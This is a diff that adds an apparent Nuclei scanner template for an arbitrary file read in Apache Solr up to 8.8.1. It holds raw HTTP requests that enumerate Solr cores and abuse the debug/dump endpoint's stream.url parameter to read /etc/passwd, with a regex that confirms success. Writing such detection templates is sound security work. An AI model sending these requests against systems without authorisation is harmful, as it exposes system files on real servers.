Adding Apache Solr <= 8.8.1 Arbitrary File Read

vulnerabilities/apache/apache-solr-file-read.yaml

@@ -0,0 +1,39 @@
+id: apache-solr-file-read 
+
+info:
+  name: Apache Solr <= 8.8.1 Arbitrary File Read
+  author: DhiyaneshDk
+  severity: high
+  tags: apache,solr,lfi
+  reference: |
+      - https://twitter.com/Al1ex4/status/1382981479727128580
+      - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
+      - https://twitter.com/sec715/status/1373472323538362371
+
+requests:
+  - raw:
+      - |
+        GET /solr/admin/cores?wt=json HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Language: en
+        Connection: close
+
+      - |
+        GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd&param=ContentStream HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Language: en
+        Connection: close
+
+    extractors:
+      - type: regex
+        regex:
+          - '"status"\:\{"(.*?)"\:\{"name"'
+        name: core
+        group: 1
+        internal: true
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body